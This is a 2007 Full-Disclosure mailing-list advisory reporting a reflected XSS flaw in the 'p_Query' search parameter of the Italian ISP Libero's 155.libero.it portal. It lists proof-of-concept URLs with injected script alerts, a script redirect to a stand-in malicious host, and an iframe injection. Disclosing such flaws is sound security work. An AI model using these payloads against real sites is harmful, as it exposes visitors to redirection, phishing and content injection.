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Date: Sat, 4 Aug 2007 02:14:55 +0200
From: "Gianni Amato" <guelfoweb@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: 155.libero.it XSS vulnerability
The Italian ISP Libero.it not check the HTTP POST Parameter "p_Query" on
search query and displays the content of this variable without modification
within the html form area.
Security problems on Libero's 155.it allows attackers to conduct XSS attacks
for the following URL:
http://155.libero.it/pls/portal30/w155.cerca_nel_sito?p_Query=
it is vulnerable for XSS via a malformed search query.
PoC:
- XSS in search function
http://155.libero.it/pls/portal30/w155.cerca_nel_sito?p_Query=
<script>alert(XSS)<script>
- Redirect
http://155.libero.it/pls/portal30/w155.cerca_nel_sito?p_Query= <script>
location.href="http://www.maliciouswebsite.com";</script>
- Html injection (iframe)
<http://155.libero.it/pls/portal30/w155.cerca_nel_sito?p_Query=>
http://155.libero.it/pls/portal30/w155.cerca_nel_sito?p_Query= <iframe
src="http://www.maliciouswebsite.com
"></iframe>
Previous vulnerabilities:
http://lists.grok.org.uk/pipermail/full-disclosure/2007-March/061957.html
http://lists.grok.org.uk/pipermail/full-disclosure/2007-March/061957.html
http://lists.grok.org.uk/pipermail/full-disclosure/2007-March/061939.html
http://lists.grok.org.uk/pipermail/full-disclosure/2007-April/062055.html
http://lists.grok.org.uk/pipermail/full-disclosure/2007-July/064680.html
http://lists.grok.org.uk/pipermail/full-disclosure/2007-July/064681.html
--
Gianni Amato
http://www.gianniamato.it/
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